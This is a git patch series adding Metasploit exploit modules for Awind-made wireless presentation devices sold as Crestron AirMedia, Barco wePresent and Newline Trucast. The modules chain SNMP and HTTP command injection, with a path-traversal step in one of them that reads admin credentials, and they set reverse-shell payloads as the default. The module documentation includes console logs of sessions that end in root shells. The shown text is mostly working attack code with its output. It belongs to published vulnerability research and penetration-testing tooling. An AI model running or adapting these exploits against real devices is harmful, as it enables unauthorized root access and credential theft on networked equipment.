From 479b09962cb1c5d44d9d7d1b3d5611cc496216b2 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 11 Sep 2018 15:16:23 +0200 Subject: [PATCH 001/217] Awind stuff. --- .../exploit/linux/snmp/awind_snmp_exec.md | 62 +++++++ .../linux/http/airmedia_am100_creds.rb | 149 +++++++++++++++++ .../linux/http/awind_oem_ate_command_exec.rb | 102 ++++++++++++ .../exploits/linux/snmp/awind_snmp_exec.rb | 153 ++++++++++++++++++ 4 files changed, 466 insertions(+) create mode 100644 documentation/modules/exploit/linux/snmp/awind_snmp_exec.md create mode 100644 modules/exploits/linux/http/airmedia_am100_creds.rb create mode 100644 modules/exploits/linux/http/awind_oem_ate_command_exec.rb create mode 100644 modules/exploits/linux/snmp/awind_snmp_exec.rb diff --git a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md new file mode 100644 index 0000000000..2c1abef17f --- /dev/null +++ b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md @@ -0,0 +1,62 @@ +## Description + + This module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command. + + +## Vulnerable Application + + [QNAP](https://www.qnap.com/) designs and delivers high-quality network attached storage (NAS) and professional network video recorder (NVR) solutions to users from home, SOHO to small, medium businesses. + + This module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727). + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploit/linux/misc/qnap_transcode_server` + 3. Do: `set RHOST [IP]` + 4. Do: `set LHOST [IP]` + 5. Do: `run` + 6. You should get a session + + +## Options + + **Delay** + + How long to wait (in seconds) for the device to download the payload. + + +## Scenarios + + ``` + msf > use exploit/linux/misc/qnap_transcode_server + msf exploit(qnap_transcode_server) > set rhost 10.1.1.123 + rhost => 10.1.1.123 + msf exploit(qnap_transcode_server) > check + [*] 10.1.1.123:9251 The target service is running, but could not be validated. + msf exploit(qnap_transcode_server) > set lhost 10.1.1.197 + lhost => 10.1.1.197 + msf exploit(qnap_transcode_server) > run + + [*] Started reverse TCP handler on 10.1.1.197:4444 + [*] 10.1.1.123:9251 - Using URL: http://0.0.0.0:8080/IQrgbm + [*] 10.1.1.123:9251 - Local IP: http://10.1.1.197:8080/IQrgbm + [*] 10.1.1.123:9251 - Sent command successfully (52 bytes) + [*] 10.1.1.123:9251 - Waiting for the device to download the payload (30 seconds)... + [*] 10.1.1.123:9251 - Sent command successfully (22 bytes) + [*] 10.1.1.123:9251 - Sent command successfully (13 bytes) + [*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.123:53888) at 2017-08-13 05:05:18 -0400 + [*] 10.1.1.123:9251 - Sent command successfully (19 bytes) + [*] 10.1.1.123:9251 - Command Stager progress - 100.00% done (109/109 bytes) + [*] 10.1.1.123:9251 - Server stopped. + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 10.1.1.123 + OS : (Linux 3.2.26) + Architecture : armv7l + Meterpreter : armle/linux + ``` + diff --git a/modules/exploits/linux/http/airmedia_am100_creds.rb b/modules/exploits/linux/http/airmedia_am100_creds.rb new file mode 100644 index 0000000000..c5a3f07d66 --- /dev/null +++ b/modules/exploits/linux/http/airmedia_am100_creds.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Airmedia AM-100 Remote Code Injection", + 'Description' => %q{ + This module exploits a vulnerability found in where untrusted inputs are fed to system command, leading to command injection. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + ['CVE', '2016-5640'], + ['CVE', '2016-5639'] + ], + 'Platform' => 'unix', + 'Targets' => [ [ 'Airmedia AM-100', {} ] ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'cmd/unix/reverse_openssl' + }, + 'Arch' => [ ARCH_CMD ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl' + } + }, + 'DisclosureDate' => "Aug 8 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptString.new('TARGETURI', [true, 'The base path', '/']), + ]) + end + + + def check + opts = login + if opts + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"), + 'headers'=> + { + 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + } + }) + if res and res.code == 200 + version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*]*>([^<]*)[^<]*]*>]*>([^<]*) 'POST', + 'uri' => normalize_uri(uri, "/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html"), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'ATE_COMMAND' => cmd, + 'ATETXLEN' => 24, + 'ATE' => 'TXCONT' + } + }) + end + + def login(username, password) + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "/cgi-bin/login.cgi?lang=en&src=AwLoginAdmin.html"), + 'ctype' => 'application/x-www-form-urlencoded', + 'data' => "login=#{username}&account=#{username}&password=#{password}" + }) + if res and res.code == 200 + session_token = res.body.to_s.scan(/&([A-z0-9]{16})/).last.first.strip + return session_token + end + return nil + end + + def dump_creds + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, '/cgi-bin/login.cgi?lang=en&src=../../../../../../../../etc/content/AwDefault.xml'), + }) + if res and res.code == 200 + admin_username = res.body.to_s.scan(/name=\"WEB_ADMIN_ID\".*?value=\"([^\"]*)\"/).last.first.strip + admin_pass = res.body.to_s.scan(/name=\"LONG_ADMIN_PWD\".*?value=\"([^\"]*)\"/).last.first.strip + return {"username":admin_username, "password":admin_pass} + else + return nil + end + end + + def exploit + admin_creds = dump_creds + if admin_creds + print_good("Successfully dumped admin credentials: #{admin_creds}") + token = login(admin_creds[:username], admin_creds[:password]) + if token + print_good("Successfully authenticated. Token is #{token}.") + print_status("Exploiting...") + execute_command(payload.encoded, {'token' => token}) + else + print_error("An error occured while login in with dumped credentials.") + end + else + print_error("An error occurred while dumping creds. Not vulnerable ?") + end + end +end diff --git a/modules/exploits/linux/http/awind_oem_ate_command_exec.rb b/modules/exploits/linux/http/awind_oem_ate_command_exec.rb new file mode 100644 index 0000000000..608ab112b0 --- /dev/null +++ b/modules/exploits/linux/http/awind_oem_ate_command_exec.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Awind and OEM'ed derivatives ATE_COMMAND Remote Code Injection", + 'Description' => %q{ + This module exploits a vulnerability found in wireless presentation devices OEM'ed by Awind to + different manufacturers such as Crestron, Barco, Newline, Extron, and Casio. + + The vulnerability lies in rftest.cgi where untrusted inputs from ATE_COMMAND POST parameter + is fed to system command, leading to command injection. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ', # Metasploit module + 'Cylance Vulnerability Research ' # Initial discovery + ], + 'References' => + [ + ['CVE', '2016-5639'], + ['CVE', '2016-5640'], + ['URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-001.md'], + ['URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-002.md'] + ], + 'Platform' => 'unix', + 'Targets' => [ + [ 'Crestron Airmedia AM-100 <= version 1.5.0.4', {} ], + [ 'Crestron Airmedia AM-101 <= version 2.5.0.12', {} ], + [ 'Awind WiPG-1600w <= version 2.0.1.8', {} ], + [ 'Awind WiPG-2000d <= version 2.1.6.2', {} ], + [ 'Barco wePresent 2000 <= version 2.1.5.7', {} ], + [ 'Newline Trucast 2 <= version 2.1.0.5', {} ], + [ 'Newline Trucast 3 <= version 2.1.3.7', {} ] + ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'RPORT' => 443, + 'SSL' => true, + 'PAYLOAD' => 'cmd/unix/reverse_openssl' + }, + 'Arch' => [ ARCH_CMD ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl' + } + }, + 'DisclosureDate' => "Aug 8 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptString.new('TARGETURI', [true, 'The base path', '/']), + ]) + end + + + def check + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, '/cgi-bin/login.cgi?lang=en&src=../../../../../../../../etc/sys.ver'), + }) + # TODO: check which version fixed this issue + if res and res.code == 200 + version = res.body.to_s.split("\n")[0] + print_status("Version is #{version}") + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + Exploit::CheckCode::Unknown + end + + def exploit + uri = target_uri.path + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html"), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'ATE_COMMAND' => payload.encoded, + 'ATETXLEN' => 24, + 'ATE' => 'TXCONT' + } + }) + end +end diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb new file mode 100644 index 0000000000..0b6904e2ef --- /dev/null +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -0,0 +1,153 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'openssl' +require 'base64' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::SNMPClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "AwindInc SNMP service command injection", + 'Description' => %q{ + This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to XXX system command, leading to command injection. + Please note: a valid SNMP read-write community is required to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + ['CVE', '2018-XXX'] + ], + 'Platform' => 'unix', + 'Targets' => [ [ 'Universal', {} ] ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'cmd/unix/reverse_openssl' + }, + 'Arch' => [ ARCH_CMD ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl' + } + }, + 'DisclosureDate' => "XXXX", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']), + ]) + end + + + def check + # TODO: check if system is Crestron. If system is Crestron, check version + # Otherwise, return unknown + begin + connect_snmp + sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s + print_status("Target system is #{sys_description}") + return Exploit::CheckCode::Vulnerable + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + Exploit::CheckCode::Unknown + end + + def inject_payload(cmd) + begin + connect_snmp + varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd)) + resp = snmp.set(varbind) + if resp.error_status == :noError + print_status("Injection successful") + else + print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") + end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + end + + def trigger + begin + connect_snmp + varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1)) + resp = snmp.set(varbind) + if resp.error_status == :noError + print_status("Trigger successful") + else + print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'") + end + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp + end + end + + def exploit + + # The payload must start with a valid FTP URI otherwise the injection point is not reached + cmd = "ftp://1.1.1.1/$(#{payload.encoded})" + + # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback + # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and + # keep our reverse shell opened :) + cmd += "$(pkill -f /etc/reboot.sh)" + + # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad + cmd += "A" * (255-cmd.length) + + # we inject our payload in camFWUpgradeFTPURL + print_status("Injecting payload") + inject_payload(cmd) + + # we trigger the firmware download via FTP, which will end up calling this + # "/bin/getRemoteURL.sh %s %s %s %d" + print_status("Triggering call") + trigger() + end +end From ed7d9a10acd85cd6b0bfdbedc477008a39208d84 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Wed, 27 Mar 2019 14:13:36 +0100 Subject: [PATCH 002/217] Release of Awindinc SNMP exploit. --- .../exploit/linux/snmp/awind_snmp_exec.md | 89 ++++++++++--------- .../exploits/linux/snmp/awind_snmp_exec.rb | 29 ++++-- 2 files changed, 70 insertions(+), 48 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md index 2c1abef17f..5a618b9d51 100644 --- a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md +++ b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md @@ -1,62 +1,69 @@ ## Description - This module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command. +This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. +Note: a valid SNMP read-write community is required to exploit this vulnerability. -## Vulnerable Application +## Vulnerable Devices - [QNAP](https://www.qnap.com/) designs and delivers high-quality network attached storage (NAS) and professional network video recorder (NVR) solutions to users from home, SOHO to small, medium businesses. +The following devices are known to be affected by this issue: - This module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727). +* Crestron Airmedia AM-100 <= version 1.5.0.4 +* Crestron Airmedia AM-101 <= version 2.5.0.12 +* Awind WiPG-1600w <= version 2.0.1.8 +* Awind WiPG-2000d <= version 2.1.6.2 +* Barco wePresent 2000 <= version 2.1.5.7 +* Newline Trucast 2 <= version 2.1.0.5 +* Newline Trucast 3 <= version 2.1.3.7 ## Verification Steps 1. Start `msfconsole` - 2. Do: `use exploit/linux/misc/qnap_transcode_server` + 2. Do: `use exploit/linux/snmp/awind_snmp_exec` 3. Do: `set RHOST [IP]` 4. Do: `set LHOST [IP]` 5. Do: `run` 6. You should get a session - -## Options - - **Delay** - - How long to wait (in seconds) for the device to download the payload. - - ## Scenarios - ``` - msf > use exploit/linux/misc/qnap_transcode_server - msf exploit(qnap_transcode_server) > set rhost 10.1.1.123 - rhost => 10.1.1.123 - msf exploit(qnap_transcode_server) > check - [*] 10.1.1.123:9251 The target service is running, but could not be validated. - msf exploit(qnap_transcode_server) > set lhost 10.1.1.197 - lhost => 10.1.1.197 - msf exploit(qnap_transcode_server) > run +``` +msf5 > use exploit/linux/snmp/awind_snmp_exec +msf5 exploit(linux/snmp/awind_snmp_exec) > set RHOSTS 192.168.100.2 +RHOSTS => 192.168.100.2 +msf5 exploit(linux/snmp/awind_snmp_exec) > set LHOST 192.168.100.1 +LHOST => 192.168.100.1 +msf5 exploit(linux/snmp/awind_snmp_exec) > check - [*] Started reverse TCP handler on 10.1.1.197:4444 - [*] 10.1.1.123:9251 - Using URL: http://0.0.0.0:8080/IQrgbm - [*] 10.1.1.123:9251 - Local IP: http://10.1.1.197:8080/IQrgbm - [*] 10.1.1.123:9251 - Sent command successfully (52 bytes) - [*] 10.1.1.123:9251 - Waiting for the device to download the payload (30 seconds)... - [*] 10.1.1.123:9251 - Sent command successfully (22 bytes) - [*] 10.1.1.123:9251 - Sent command successfully (13 bytes) - [*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.123:53888) at 2017-08-13 05:05:18 -0400 - [*] 10.1.1.123:9251 - Sent command successfully (19 bytes) - [*] 10.1.1.123:9251 - Command Stager progress - 100.00% done (109/109 bytes) - [*] 10.1.1.123:9251 - Server stopped. +[*] Target system is Crestron Electronics AM-100 (Version 2.6.0.6) +[+] 192.168.100.2:161 The target is vulnerable. +msf5 exploit(linux/snmp/awind_snmp_exec) > run - meterpreter > getuid - Server username: uid=0, gid=0, euid=0, egid=0 - meterpreter > sysinfo - Computer : 10.1.1.123 - OS : (Linux 3.2.26) - Architecture : armv7l - Meterpreter : armle/linux - ``` +[*] Started reverse double SSL handler on 192.168.100.1:4444 +[*] Injecting payload +[*] Injection successful +[*] Triggering call +[*] Trigger successful +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo LFNuuQAgrHrq1aq6; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "LFNuuQAgrHrq1aq6\n" +[*] Matching... +[*] A is input... +[*] Command shell session 1 opened (192.168.100.1:4444 -> 192.168.100.2:35189) at 2019-03-27 14:09:54 +0100 +id +uid=0(root) gid=0(root) +uname -avr +Linux Crestron.AirMedia-1.1.wm8750 2.6.32.9-default #7 Thu Apr 2 16:50:50 CST 2015 armv6l GNU/Linux +``` + +## References + +* https://github.com/QKaiser/awind-research +* https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/ diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 0b6904e2ef..9bbbf83aa9 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -15,8 +15,18 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => "AwindInc SNMP service command injection", 'Description' => %q{ - This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to XXX system command, leading to command injection. - Please note: a valid SNMP read-write community is required to exploit this vulnerability. + This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. + A valid SNMP read-write community is required to exploit this vulnerability. + + The following devices are known to be affected by this issue: + + * Crestron Airmedia AM-100 <= version 1.5.0.4 + * Crestron Airmedia AM-101 <= version 2.5.0.12 + * Awind WiPG-1600w <= version 2.0.1.8 + * Awind WiPG-2000d <= version 2.1.6.2 + * Barco wePresent 2000 <= version 2.1.5.7 + * Newline Trucast 2 <= version 2.1.0.5 + * Newline Trucast 3 <= version 2.1.3.7 }, 'License' => MSF_LICENSE, 'Author' => @@ -25,7 +35,9 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ - ['CVE', '2018-XXX'] + ['CVE', '2017-16709'], + ['URL', 'https://github.com/QKaiser/awind-research'], + ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] ], 'Platform' => 'unix', 'Targets' => [ [ 'Universal', {} ] ], @@ -44,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'RequiredCmd' => 'openssl' } }, - 'DisclosureDate' => "XXXX", + 'DisclosureDate' => "27/03/2019", 'DefaultTarget' => 0)) register_options( @@ -55,13 +67,16 @@ class MetasploitModule < Msf::Exploit::Remote def check - # TODO: check if system is Crestron. If system is Crestron, check version - # Otherwise, return unknown begin connect_snmp sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s print_status("Target system is #{sys_description}") - return Exploit::CheckCode::Vulnerable + # AM-100 and AM-101 considered EOL, no fix so no need to check version. + if sys_description.include? "Crestron Electronics AM-100" or sys.description.include? "Crestron Electronics AM-101" + return Exploit::CheckCode::Vulnerable + end + # TODO: insert description check for other vulnerable models (that I don't have) + # In the meantime, we return 'unknown'. rescue SNMP::RequestTimeout print_error("#{ip} SNMP request timeout.") rescue Rex::ConnectionError From 6fde3ea566eaeeee36bd0603221eae3af63e4700 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Wed, 27 Mar 2019 14:20:34 +0100 Subject: [PATCH 003/217] These files have nothing to do here. --- .../linux/http/airmedia_am100_creds.rb | 149 ------------------ .../linux/http/awind_oem_ate_command_exec.rb | 102 ------------ 2 files changed, 251 deletions(-) delete mode 100644 modules/exploits/linux/http/airmedia_am100_creds.rb delete mode 100644 modules/exploits/linux/http/awind_oem_ate_command_exec.rb diff --git a/modules/exploits/linux/http/airmedia_am100_creds.rb b/modules/exploits/linux/http/airmedia_am100_creds.rb deleted file mode 100644 index c5a3f07d66..0000000000 --- a/modules/exploits/linux/http/airmedia_am100_creds.rb +++ /dev/null @@ -1,149 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - - def initialize(info={}) - super(update_info(info, - 'Name' => "Airmedia AM-100 Remote Code Injection", - 'Description' => %q{ - This module exploits a vulnerability found in where untrusted inputs are fed to system command, leading to command injection. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Quentin Kaiser ' - ], - 'References' => - [ - ['CVE', '2016-5640'], - ['CVE', '2016-5639'] - ], - 'Platform' => 'unix', - 'Targets' => [ [ 'Airmedia AM-100', {} ] ], - 'Privileged' => true, - 'DefaultOptions' => - { - 'SSL' => false, - 'PAYLOAD' => 'cmd/unix/reverse_openssl' - }, - 'Arch' => [ ARCH_CMD ], - 'Payload' => - { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'openssl' - } - }, - 'DisclosureDate' => "Aug 8 2016", - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('SSL', [ true, 'Use SSL', true ]), - OptString.new('TARGETURI', [true, 'The base path', '/']), - ]) - end - - - def check - opts = login - if opts - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"), - 'headers'=> - { - 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", - 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", - 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", - } - }) - if res and res.code == 200 - version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*]*>([^<]*)[^<]*]*>]*>([^<]*) 'POST', - 'uri' => normalize_uri(uri, "/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html"), - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - 'ATE_COMMAND' => cmd, - 'ATETXLEN' => 24, - 'ATE' => 'TXCONT' - } - }) - end - - def login(username, password) - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, "/cgi-bin/login.cgi?lang=en&src=AwLoginAdmin.html"), - 'ctype' => 'application/x-www-form-urlencoded', - 'data' => "login=#{username}&account=#{username}&password=#{password}" - }) - if res and res.code == 200 - session_token = res.body.to_s.scan(/&([A-z0-9]{16})/).last.first.strip - return session_token - end - return nil - end - - def dump_creds - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, '/cgi-bin/login.cgi?lang=en&src=../../../../../../../../etc/content/AwDefault.xml'), - }) - if res and res.code == 200 - admin_username = res.body.to_s.scan(/name=\"WEB_ADMIN_ID\".*?value=\"([^\"]*)\"/).last.first.strip - admin_pass = res.body.to_s.scan(/name=\"LONG_ADMIN_PWD\".*?value=\"([^\"]*)\"/).last.first.strip - return {"username":admin_username, "password":admin_pass} - else - return nil - end - end - - def exploit - admin_creds = dump_creds - if admin_creds - print_good("Successfully dumped admin credentials: #{admin_creds}") - token = login(admin_creds[:username], admin_creds[:password]) - if token - print_good("Successfully authenticated. Token is #{token}.") - print_status("Exploiting...") - execute_command(payload.encoded, {'token' => token}) - else - print_error("An error occured while login in with dumped credentials.") - end - else - print_error("An error occurred while dumping creds. Not vulnerable ?") - end - end -end diff --git a/modules/exploits/linux/http/awind_oem_ate_command_exec.rb b/modules/exploits/linux/http/awind_oem_ate_command_exec.rb deleted file mode 100644 index 608ab112b0..0000000000 --- a/modules/exploits/linux/http/awind_oem_ate_command_exec.rb +++ /dev/null @@ -1,102 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - - def initialize(info={}) - super(update_info(info, - 'Name' => "Awind and OEM'ed derivatives ATE_COMMAND Remote Code Injection", - 'Description' => %q{ - This module exploits a vulnerability found in wireless presentation devices OEM'ed by Awind to - different manufacturers such as Crestron, Barco, Newline, Extron, and Casio. - - The vulnerability lies in rftest.cgi where untrusted inputs from ATE_COMMAND POST parameter - is fed to system command, leading to command injection. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Quentin Kaiser ', # Metasploit module - 'Cylance Vulnerability Research ' # Initial discovery - ], - 'References' => - [ - ['CVE', '2016-5639'], - ['CVE', '2016-5640'], - ['URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-001.md'], - ['URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-002.md'] - ], - 'Platform' => 'unix', - 'Targets' => [ - [ 'Crestron Airmedia AM-100 <= version 1.5.0.4', {} ], - [ 'Crestron Airmedia AM-101 <= version 2.5.0.12', {} ], - [ 'Awind WiPG-1600w <= version 2.0.1.8', {} ], - [ 'Awind WiPG-2000d <= version 2.1.6.2', {} ], - [ 'Barco wePresent 2000 <= version 2.1.5.7', {} ], - [ 'Newline Trucast 2 <= version 2.1.0.5', {} ], - [ 'Newline Trucast 3 <= version 2.1.3.7', {} ] - ], - 'Privileged' => true, - 'DefaultOptions' => - { - 'RPORT' => 443, - 'SSL' => true, - 'PAYLOAD' => 'cmd/unix/reverse_openssl' - }, - 'Arch' => [ ARCH_CMD ], - 'Payload' => - { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'openssl' - } - }, - 'DisclosureDate' => "Aug 8 2016", - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('SSL', [ true, 'Use SSL', true ]), - OptString.new('TARGETURI', [true, 'The base path', '/']), - ]) - end - - - def check - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, '/cgi-bin/login.cgi?lang=en&src=../../../../../../../../etc/sys.ver'), - }) - # TODO: check which version fixed this issue - if res and res.code == 200 - version = res.body.to_s.split("\n")[0] - print_status("Version is #{version}") - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Safe - end - Exploit::CheckCode::Unknown - end - - def exploit - uri = target_uri.path - send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, "/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html"), - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - 'ATE_COMMAND' => payload.encoded, - 'ATETXLEN' => 24, - 'ATE' => 'TXCONT' - } - }) - end -end From de6f49305c318149c6e3fafb1f589b22fdb873de Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Wed, 27 Mar 2019 14:22:37 +0100 Subject: [PATCH 004/217] Correct disclosure date format. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 9bbbf83aa9..431eca223b 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'RequiredCmd' => 'openssl' } }, - 'DisclosureDate' => "27/03/2019", + 'DisclosureDate' => "Mar 27 2019", 'DefaultTarget' => 0)) register_options( From cef8dc2fa2e7fb9634a52e1f5847a24bbecc4994 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 10:42:33 +0100 Subject: [PATCH 005/217] << is preferred. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 